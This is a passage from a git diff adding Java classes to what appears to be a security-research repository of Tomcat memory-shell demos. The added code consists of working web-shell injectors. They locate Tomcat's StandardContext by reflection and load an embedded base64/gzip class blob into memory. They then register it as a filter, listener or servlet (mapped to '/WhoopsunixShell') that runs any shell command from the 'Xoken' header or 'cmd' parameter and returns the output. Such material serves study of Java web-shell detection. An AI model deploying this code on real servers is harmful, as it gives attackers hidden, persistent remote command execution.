!= null) { + return true; + } + } catch (Exception e) { + + } + return false; + } + + public static void inject(Object standardContext) { + // tomcat 7 + // org.apache.catalina.deploy.FilterDef + // tomcat 8 9 + // org.apache.tomcat.util.descriptor.web.FilterDef + try { + if (object == null) { + return; + } + + Object filterDef = invokeMethod(standardContext, "findFilterDef", new Class[]{String.class}, new Object[]{NAME}); + + // 添加 filterDef + try { + filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + } catch (ClassNotFoundException e) { + filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); + } + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{NAME}); + invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{object.getClass().getName()}); + invokeMethod(filterDef, "setFilter", new Class[]{Class.forName("javax.servlet.Filter")}, new Object[]{object}); + invokeMethod(standardContext, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + + // 添加 filterMap + Object filterMap = null; + try { + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + } catch (ClassNotFoundException e) { + filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); + } + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{NAME}); + invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{PATTERN}); + invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); + invokeMethod(standardContext, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + + // 添加 filterConfig + Map filterConfigs = (Map) getFieldValue(standardContext, "filterConfigs"); + Object filterConfig = getConstructorObject("org.apache.catalina.core.ApplicationFilterConfig", new Class[]{Class.forName("org.apache.catalina.Context"), filterDef.getClass()}, new Object[]{standardContext, filterDef}); + filterConfigs.put(NAME, filterConfig); + } catch (Exception e) { + } + } + + public static void getObject() throws Exception { + // 动态代理兼容 javax jakarta + Class filterClass = null; + try { + filterClass = Class.forName("jakarta.servlet.Filter"); + } catch (Exception e) { + try { + filterClass = Class.forName("javax.servlet.Filter"); + } catch (ClassNotFoundException ex) { + + } + } + + byte[] bytes = decompress(gzipObject); + + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + Object javaObject = clazz.newInstance(); + + object = Proxy.newProxyInstance(filterClass.getClassLoader(), new Class[]{filterClass}, (InvocationHandler) javaObject); + } + + + // tools + public static byte[] decompress(String gzipObject) throws IOException { + final byte[] compressedData = new sun.misc.BASE64Decoder().decodeBuffer(gzipObject); + ByteArrayInputStream bais = new ByteArrayInputStream(compressedData); + try { + GZIPInputStream gzipInputStream = new GZIPInputStream(bais); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[1024]; + int len; + while ((len = gzipInputStream.read(buffer)) > 0) { + baos.write(buffer, 0, len); + } + return baos.toByteArray(); + } catch (Exception e) { + + } + return null; + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + Object object = method.invoke(obj, args); + return object; + } + + public static Object getTargetObject(String className) throws Exception { + List activeClassLoaders = new FilterThreadLoader().getActiveClassLoaders(); + + Class cls = getTargetClass(className, activeClassLoaders); + + // 死亡区域 已检查过的类 + HashSet breakObject = new HashSet(); + breakObject.add(System.identityHashCode(breakObject)); + + // 原始类型和包装类都不递归 + HashSet breakType = new HashSet(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); + + Object result = getTargetObject(cls, Thread.currentThread(), breakObject, breakType, 30); + + return result; + } + + /** + * 递归查找属性 + */ + public static Object getTargetObject(Class targetCls, Object object, HashSet breakObject, HashSet breakType, int maxDepth) { + // 最大递归深度 + maxDepth--; + if (maxDepth < 0) { + return null; + } + + if (object == null) { + return null; + } + + // 寻找到指定类返回 + if (targetCls.isInstance(object)) { + return object; + } + + // 获取内存地址,来标识唯一对象 + Integer hash = System.identityHashCode(object); + + if (breakObject.contains(hash)) { + return null; + } + breakObject.add(hash); + + // 获取对象所有 Field + Field[] fields = object.getClass().getDeclaredFields(); + ArrayList fieldsArray = new ArrayList(); + Class objClass = object.getClass(); + while (objClass != null) { + Field[] superFields = objClass.getDeclaredFields(); + fieldsArray.addAll(Arrays.asList(superFields)); + objClass = objClass.getSuperclass(); + } + fields = (Field[]) fieldsArray.toArray(new Field[0]); + + + for (Field field : fields) { + try { + Class type = field.getType(); + + if (breakType.contains(type.getName())) { + continue; + } + + // 获取 Field 值 + field.setAccessible(true); + Object value = field.get(object); + Object result = null; + + // 递归查找 + if (value instanceof Map) { + // Map 的 kv 都要遍历 + Map map = (Map) value; + for (Object o : map.entrySet()) { + Map.Entry entry = (Map.Entry) o; + result = getTargetObject(targetCls, entry.getKey(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + result = getTargetObject(targetCls, entry.getValue(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (value instanceof Iterable) { + // 集合的元素都要遍历 + Iterable iterable = (Iterable) value; + for (Object o : iterable) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (type.isArray()) { + // 数组的元素都要遍历 + Object[] array = (Object[]) value; + for (Object o : array) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else { + result = getTargetObject(targetCls, value, breakObject, breakType, maxDepth); + } + + if (result != null) { + return result; + } + } catch (Throwable e) { + + } + } + + return null; + } + + + /** + * 遍历 ClassLoader 加载目标 Class + */ + public static Class getTargetClass(String className, List activeClassLoaders) { + for (ClassLoader activeClassLoader : activeClassLoaders) { + try { + return Class.forName(className, true, activeClassLoader); + } catch (Throwable e) { + + } + } + return null; + } + + /** + * 获取活跃线程 + */ + public List getActiveClassLoaders() throws Exception { + Set activeClassLoaders = new HashSet(); + + // 加载当前对象的加载器 + activeClassLoaders.add(this.getClass().getClassLoader()); + + // 当前线程的上下文类加载器 + activeClassLoaders.add(Thread.currentThread().getContextClassLoader()); + +// // 应用程序类加载器 +// ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader(); +// activeClassLoaders.add(systemClassLoader); +// +// // 扩展类加载器 +// activeClassLoaders.add(systemClassLoader.getParent()); + + // 获取线程组 + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + Thread[] threads = new Thread[threadGroup.activeCount()]; + int count = threadGroup.enumerate(threads, true); + for (int i = 0; i < count; i++) { + activeClassLoaders.add(threads[i].getContextClassLoader()); + } + + return new ArrayList(activeClassLoaders); + } + + public static Object getConstructorObject(String className, Class[] cls, Object[] object) { + try { + Constructor constructor = Class.forName(className).getDeclaredConstructor(cls); + constructor.setAccessible(true); + Object obj = constructor.newInstance(object); + return obj; + } catch (Exception e) { + + } + return null; + } + +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ListenerExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ListenerExecMS.java new file mode 100644 index 0000000..18a7e34 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ListenerExecMS.java @@ -0,0 +1,109 @@ +package com.demo.memshell.loader; + + +import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; + +/** + * @author Whoopsunix + */ +public class ListenerExecMS implements InvocationHandler { + private static String HEADER = "Xoken"; + private static String PARAM = "cmd"; + + public ListenerExecMS() { + } + + public Object invoke(Object proxy, Method method, Object[] args) { + if (method.getName().equals("requestInitialized")) { + run(args[0]); + } + return null; + } + +// public Object getResponse(Object httpServletRequest) throws Exception { +// return null; +// } +// +// private void run(Object sre) { +// } + + /** + * tomcat + */ + public Object getResponse(Object httpServletRequest) throws Exception{ + Object request = getFieldValue(httpServletRequest, "request"); + Object httpServletResponse = getFieldValue(request, "response"); + return httpServletResponse; + } + private void run(Object sre) { + try { + Object httpServletRequest = invokeMethod(sre, "getServletRequest", new Class[]{}, new Object[]{}); + Object header = invokeMethod(httpServletRequest, "getHeader", new Class[]{String.class}, new Object[]{HEADER}); + Object param = invokeMethod(httpServletRequest, "getParameter", new Class[]{String.class}, new Object[]{PARAM}); + String str = null; + if (header != null) { + str = (String) header; + } else if (param != null) { + str = (String) param; + } + String result = exec(str); + Object response = getResponse(httpServletRequest); + invokeMethod(response, "setStatus", new Class[]{Integer.TYPE}, new Object[]{new Integer(200)}); + Object writer = invokeMethod(response, "getWriter", new Class[]{}, new Object[]{}); + invokeMethod(writer, "println", new Class[]{String.class}, new Object[]{result}); + } catch (Exception e) { + + } + } + public static String exec(String str) throws Exception { + String[] cmd; + if (System.getProperty("os.name").toLowerCase().contains("win")) { + cmd = new String[]{"cmd.exe", "/c", str}; + } else { + cmd = new String[]{"/bin/sh", "-c", str}; + } + InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + return exec_result(inputStream); + } + + public static String exec_result(InputStream inputStream) throws Exception { + byte[] bytes = new byte[1024]; + int len; + StringBuilder stringBuilder = new StringBuilder(); + while ((len = inputStream.read(bytes)) != -1) { + stringBuilder.append(new String(bytes, 0, len)); + } + return stringBuilder.toString(); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + return method.invoke(obj, args); + } +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ListenerThreadLoader.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ListenerThreadLoader.java new file mode 100644 index 0000000..d850408 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ListenerThreadLoader.java @@ -0,0 +1,349 @@ +package com.demo.memshell.loader; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author Whoopsunix + *

+ * 5-10 全版本 + */ +public class ListenerThreadLoader { + private static String gzipObject = "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"; + private static Object[] applicationEventListenersObjects; + private static List applicationEventListeners; + private static Object object = null; + + public ListenerThreadLoader() { + } + + static { + try { + getObject(); + + // 获取 standardContext + Object standardContext = getTargetObject("org.apache.catalina.core.StandardContext"); + if (!isInject(standardContext)) { + inject(standardContext); + } + + } catch (Throwable e) { + + } + } + +// public static boolean isInject(Object standardContext, Object object) { +// return false; +// } +// public static void inject(Object standardContext, Object object) throws Exception { +// +// } + + /** + * Listener + */ + public static boolean isInject(Object standardContext) { + if (object == null) + return true; + try { + applicationEventListeners = (List) getFieldValue(standardContext, "applicationEventListenersList"); + for (int i = 0; i < applicationEventListeners.size(); i++) { + if (applicationEventListeners.get(i).getClass().getName().contains(object.getClass().getName())) { + return true; + } + } + } catch (Exception e) { + + } + + try { + applicationEventListenersObjects = (Object[]) getFieldValue(standardContext, "applicationEventListenersObjects"); + for (int i = 0; i < applicationEventListenersObjects.length; i++) { + Object applicationEventListenersObject = applicationEventListenersObjects[i]; + if (applicationEventListenersObject instanceof Proxy && object instanceof Proxy) { + Object h = getFieldValue(applicationEventListenersObject, "h"); + Object h2 = getFieldValue(object, "h"); + if (h.getClass().getName().contains(h2.getClass().getName())) { + return true; + } + } else { + if (applicationEventListenersObject.getClass().getName().contains(object.getClass().getName())) { + return true; + } + } + } + } catch (Exception e) { + + } + return false; + } + + public static void inject(Object standardContext) throws Exception { + if (object == null) + return; + + if (applicationEventListenersObjects != null) { + // 5 6 + Object[] newApplicationEventListenersObjects = new Object[applicationEventListenersObjects.length + 1]; + System.arraycopy(applicationEventListenersObjects, 0, newApplicationEventListenersObjects, 0, applicationEventListenersObjects.length); + newApplicationEventListenersObjects[newApplicationEventListenersObjects.length - 1] = object; + setFieldValue(standardContext, "applicationEventListenersObjects", newApplicationEventListenersObjects); + } else { + // 7 8 9 10 + invokeMethod(standardContext, "addApplicationEventListener", new Class[]{Object.class}, new Object[]{object}); + } + } + + public static void getObject() throws Exception { + // 动态代理兼容 javax jakarta + Class listenerClass = null; + try { + listenerClass = Class.forName("jakarta.servlet.ServletRequestListener"); + } catch (Exception e) { + try { + listenerClass = Class.forName("javax.servlet.ServletRequestListener"); + } catch (ClassNotFoundException ex) { + + } + } + + byte[] bytes = decompress(gzipObject); +// URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); +// Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); +// defMethod.setAccessible(true); +// Class cls = (Class) defMethod.invoke(urlClassLoader, bytes, 0, bytes.length); +// Object object = cls.newInstance(); + + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + Object javaObject = clazz.newInstance(); + + object = Proxy.newProxyInstance(listenerClass.getClassLoader(), new Class[]{listenerClass}, (InvocationHandler) javaObject); + } + + + // tools + public static byte[] decompress(String gzipObject) throws IOException { + final byte[] compressedData = new sun.misc.BASE64Decoder().decodeBuffer(gzipObject); + ByteArrayInputStream bais = new ByteArrayInputStream(compressedData); + try { + GZIPInputStream gzipInputStream = new GZIPInputStream(bais); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[1024]; + int len; + while ((len = gzipInputStream.read(buffer)) > 0) { + baos.write(buffer, 0, len); + } + return baos.toByteArray(); + } catch (Exception e) { + + } + return null; + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + Object object = method.invoke(obj, args); + return object; + } + + public static Object getTargetObject(String className) throws Exception { + List activeClassLoaders = new ListenerThreadLoader().getActiveClassLoaders(); + + Class cls = getTargetClass(className, activeClassLoaders); + + // 死亡区域 已检查过的类 + HashSet breakObject = new HashSet(); + breakObject.add(System.identityHashCode(breakObject)); + + // 原始类型和包装类都不递归 + HashSet breakType = new HashSet(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); + + Object result = getTargetObject(cls, Thread.currentThread(), breakObject, breakType, 30); + + return result; + } + + /** + * 递归查找属性 + */ + public static Object getTargetObject(Class targetCls, Object object, HashSet breakObject, HashSet breakType, int maxDepth) { + // 最大递归深度 + maxDepth--; + if (maxDepth < 0) { + return null; + } + + if (object == null) { + return null; + } + + // 寻找到指定类返回 + if (targetCls.isInstance(object)) { + return object; + } + + // 获取内存地址,来标识唯一对象 + Integer hash = System.identityHashCode(object); + + if (breakObject.contains(hash)) { + return null; + } + breakObject.add(hash); + + // 获取对象所有 Field + Field[] fields = object.getClass().getDeclaredFields(); + ArrayList fieldsArray = new ArrayList(); + Class objClass = object.getClass(); + while (objClass != null) { + Field[] superFields = objClass.getDeclaredFields(); + fieldsArray.addAll(Arrays.asList(superFields)); + objClass = objClass.getSuperclass(); + } + fields = (Field[]) fieldsArray.toArray(new Field[0]); + + + for (Field field : fields) { + try { + Class type = field.getType(); + + if (breakType.contains(type.getName())) { + continue; + } + + // 获取 Field 值 + field.setAccessible(true); + Object value = field.get(object); + Object result = null; + + // 递归查找 + if (value instanceof Map) { + // Map 的 kv 都要遍历 + Map map = (Map) value; + for (Object o : map.entrySet()) { + Map.Entry entry = (Map.Entry) o; + result = getTargetObject(targetCls, entry.getKey(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + result = getTargetObject(targetCls, entry.getValue(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (value instanceof Iterable) { + // 集合的元素都要遍历 + Iterable iterable = (Iterable) value; + for (Object o : iterable) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (type.isArray()) { + // 数组的元素都要遍历 + Object[] array = (Object[]) value; + for (Object o : array) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else { + result = getTargetObject(targetCls, value, breakObject, breakType, maxDepth); + } + + if (result != null) { + return result; + } + } catch (Throwable e) { + + } + } + + return null; + } + + + /** + * 遍历 ClassLoader 加载目标 Class + */ + public static Class getTargetClass(String className, List activeClassLoaders) { + for (ClassLoader activeClassLoader : activeClassLoaders) { + try { + return Class.forName(className, true, activeClassLoader); + } catch (Throwable e) { + + } + } + return null; + } + + /** + * 获取活跃线程 + */ + public List getActiveClassLoaders() throws Exception { + Set activeClassLoaders = new HashSet(); + + // 加载当前对象的加载器 + activeClassLoaders.add(this.getClass().getClassLoader()); + + // 当前线程的上下文类加载器 + activeClassLoaders.add(Thread.currentThread().getContextClassLoader()); + +// // 应用程序类加载器 +// ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader(); +// activeClassLoaders.add(systemClassLoader); +// +// // 扩展类加载器 +// activeClassLoaders.add(systemClassLoader.getParent()); + + // 获取线程组 + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + Thread[] threads = new Thread[threadGroup.activeCount()]; + int count = threadGroup.enumerate(threads, true); + for (int i = 0; i < count; i++) { + activeClassLoaders.add(threads[i].getContextClassLoader()); + } + + return new ArrayList(activeClassLoaders); + } + +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ServletExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ServletExecMS.java new file mode 100644 index 0000000..372c5cb --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ServletExecMS.java @@ -0,0 +1,95 @@ +package com.demo.memshell.loader; + + +import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; + +/** + * @author Whoopsunix + */ +public class ServletExecMS implements InvocationHandler { + private static String NAME = "Whoopsunix"; + private static String PATTERN = "/WhoopsunixShell"; + private static String HEADER = "Xoken"; + private static String PARAM = "cmd"; + + public ServletExecMS() { + } + + public Object invoke(Object proxy, Method method, Object[] args) { + if (method.getName().equals("service")) { + run(args[0], args[1]); + } + return null; + } + + public void run(Object servletRequest, Object servletResponse) { + try { + Object header = invokeMethod(servletRequest, "getHeader", new Class[]{String.class}, new Object[]{HEADER}); + Object param = invokeMethod(servletRequest, "getParameter", new Class[]{String.class}, new Object[]{PARAM}); + String str = null; + if (header != null) { + str = (String) header; + } else if (param != null) { + str = (String) param; + } + String result = exec(str); + invokeMethod(servletResponse, "setStatus", new Class[]{Integer.TYPE}, new Object[]{new Integer(200)}); + Object writer = invokeMethod(servletResponse, "getWriter", new Class[]{}, new Object[]{}); + invokeMethod(writer, "println", new Class[]{String.class}, new Object[]{result}); + } catch (Exception e) { + + } + } + + public static String exec(String str) throws Exception { + String[] cmd; + if (System.getProperty("os.name").toLowerCase().contains("win")) { + cmd = new String[]{"cmd.exe", "/c", str}; + } else { + cmd = new String[]{"/bin/sh", "-c", str}; + } + InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + return exec_result(inputStream); + } + + public static String exec_result(InputStream inputStream) throws Exception { + byte[] bytes = new byte[1024]; + int len; + StringBuilder stringBuilder = new StringBuilder(); + while ((len = inputStream.read(bytes)) != -1) { + stringBuilder.append(new String(bytes, 0, len)); + } + return stringBuilder.toString(); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + return method.invoke(obj, args); + } +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ServletThreadLoader.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ServletThreadLoader.java new file mode 100644 index 0000000..1a59cec --- /dev/null +++ 